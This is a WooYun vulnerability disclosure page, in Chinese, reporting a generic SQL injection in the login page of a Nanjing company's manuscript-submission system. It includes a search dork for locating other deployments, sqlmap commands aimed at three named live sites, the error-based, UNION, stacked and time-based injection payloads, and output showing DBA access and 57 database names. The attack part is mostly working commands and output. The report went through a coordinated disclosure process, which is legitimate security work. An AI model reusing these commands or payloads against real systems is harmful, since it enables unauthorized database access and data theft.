当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070091

漏洞标题:某投稿系统通用型SQL注射漏洞(影响众多企事业单位及学校)

相关厂商:南京杰诺瀚软件科技有限公司

漏洞作者: 路人甲

提交时间:2014-07-29 16:00

修复时间:2014-10-27 16:00

公开时间:2014-10-27 16:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-08-03: 厂商已经确认,细节仅向厂商公开
2014-08-06: 细节向第三方安全合作伙伴开放
2014-09-27: 细节向核心白帽子及相关领域专家公开
2014-10-07: 细节向普通白帽子公开
2014-10-17: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

某投稿系统通用型SQL注射漏洞

详细说明:

南京杰诺瀚软件科技有限公司的投稿系统SQL注射漏洞

intitle:投稿系统 技术支持:南京杰诺瀚软件科技有限公司


Web/Login.aspx 页面的
username 参数存在问题 DBA 权限注射
URL:

http://209.116.186.246/#newwindow=1&q=intitle:%E6%8A%95%E7%A8%BF%E7%B3%BB%E7%BB%9F+%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81%EF%BC%9A%E5%8D%97%E4%BA%AC%E6%9D%B0%E8%AF%BA%E7%80%9A%E8%BD%AF%E4%BB%B6%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8


1:sqlmap.py -u "http://www.cnemergency.com/Web/Login.aspx" --data "usern
ame=" --is-dba --dbs

---
Place: POST
Parameter: username
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: username=' AND 3756=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(10
6)+CHAR(104)+CHAR(113)+(SELECT (CASE WHEN (3756=3756) THEN CHAR(49) ELSE CHAR(48
) END))+CHAR(113)+CHAR(113)+CHAR(109)+CHAR(118)+CHAR(113))) AND 'OGZf'='OGZf
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=' UNION ALL SELECT CHAR(113)+CHAR(108)+CHAR(106)+CHAR(104)
+CHAR(113)+CHAR(87)+CHAR(65)+CHAR(85)+CHAR(70)+CHAR(71)+CHAR(89)+CHAR(102)+CHAR(
109)+CHAR(101)+CHAR(111)+CHAR(113)+CHAR(113)+CHAR(109)+CHAR(118)+CHAR(113)--
---
[10:49:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[10:49:50] [INFO] testing if current user is DBA
current user is DBA: True
available databases [57]:
[*] bl
[*] cdxxgc
[*] cghy
[*] cymx
[*] d1
[*] demcom
[*] demo
[*] dj
[*] dxjykx
[*] Eye
[*] gjzhyx
[*] GuaHao
[*] hh
[*] hhzrkx
[*] hlgl
[*] hnxbyx
[*] hxyqdz
[*] j4e
[*] jjyx
[*] lcjsyx
[*] lcjyzzs
[*] lcsjbx
[*] lcsjwk
[*] lnyxybj
[*] main
[*] master
[*] mfskin
[*] model
[*] mrzxwk
[*] msdb
[*] mz
[*] mzyfs
[*] njsd
[*] nky
[*] Northwind
[*] nxgb
[*] nydxxb
[*] pifu
[*] pubs
[*] rfic
[*] SMS
[*] st
[*] sypfb
[*] tempdb
[*] test
[*] wcbx
[*] wf
[*] wlxb
[*] xdx
[*] xhnj
[*] xjyx
[*] xnxyxb
[*] yxjz
[*] zdblx
[*] zjyx
[*] zr
[*] zxyjh


1.jpg


2:
sqlmap.py -u "http://www.j4eseu.com/Web/Login.aspx" --data "username="
--is-dba --dbs

---
Place: POST
Parameter: username
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(112)+CHAR(101)
+CHAR(113)+CHAR(102)+CHAR(90)+CHAR(73)+CHAR(89)+CHAR(105)+CHAR(108)+CHAR(80)+CHA
R(98)+CHAR(83)+CHAR(85)+CHAR(113)+CHAR(97)+CHAR(122)+CHAR(120)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: username='; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: username=' WAITFOR DELAY '0:0:5'--
---
[11:01:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[11:01:03] [INFO] testing if current user is DBA
current user is DBA: True
available databases [57]:
[*] bl
[*] cdxxgc
[*] cghy
[*] cymx
[*] d1
[*] demcom
[*] demo
[*] dj
[*] dxjykx
[*] Eye
[*] gjzhyx
[*] GuaHao
[*] hh
[*] hhzrkx
[*] hlgl
[*] hnxbyx
[*] hxyqdz
[*] j4e
[*] jjyx
[*] lcjsyx
[*] lcjyzzs
[*] lcsjbx
[*] lcsjwk
[*] lnyxybj
[*] main
[*] master
[*] mfskin
[*] model
[*] mrzxwk
[*] msdb
[*] mz
[*] mzyfs
[*] njsd
[*] nky
[*] Northwind
[*] nxgb
[*] nydxxb
[*] pifu
[*] pubs
[*] rfic
[*] SMS
[*] st
[*] sypfb
[*] tempdb
[*] test
[*] wcbx
[*] wf
[*] wlxb
[*] xdx
[*] xhnj
[*] xjyx
[*] xnxyxb
[*] yxjz
[*] zdblx
[*] zjyx
[*] zr
[*] zxyjh


2.jpg


3:
sqlmap.py -u "http://www.linpi.net/Web/Login.aspx" --data "username="
--is-dba --dbs

---
Place: POST
Parameter: username
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=' UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(114)+CHAR(117)
+CHAR(113)+CHAR(66)+CHAR(106)+CHAR(118)+CHAR(75)+CHAR(112)+CHAR(66)+CHAR(80)+CHA
R(80)+CHAR(83)+CHAR(68)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(120)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: username='; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: username=' WAITFOR DELAY '0:0:5'--
---
[11:03:16] [INFO] testing Microsoft SQL Server
[11:03:19] [INFO] confirming Microsoft SQL Server
[11:03:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[11:03:21] [INFO] testing if current user is DBA
current user is DBA: True
available databases [57]:
[*] bl
[*] cdxxgc
[*] cghy
[*] cymx
[*] d1
[*] demcom
[*] demo
[*] dj
[*] dxjykx
[*] Eye
[*] gjzhyx
[*] GuaHao
[*] hh
[*] hhzrkx
[*] hlgl
[*] hnxbyx
[*] hxyqdz
[*] j4e
[*] jjyx
[*] lcjsyx
[*] lcjyzzs
[*] lcsjbx
[*] lcsjwk
[*] lnyxybj
[*] main
[*] master
[*] mfskin
[*] model
[*] mrzxwk
[*] msdb
[*] mz
[*] mzyfs
[*] njsd
[*] nky
[*] Northwind
[*] nxgb
[*] nydxxb
[*] pifu
[*] pubs
[*] rfic
[*] SMS
[*] st
[*] sypfb
[*] tempdb
[*] test
[*] wcbx
[*] wf
[*] wlxb
[*] xdx
[*] xhnj
[*] xjyx
[*] xnxyxb
[*] yxjz
[*] zdblx
[*] zjyx
[*] zr
[*] zxyjh


3.jpg

漏洞证明:

上面

修复方案:

加强过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-03 09:01

厂商回复:

最新状态:

2014-08-04:CNVD确认并复现所述情况,已经由CNVD通报网站公开邮箱向软件生产厂商通报(电话无人回应)。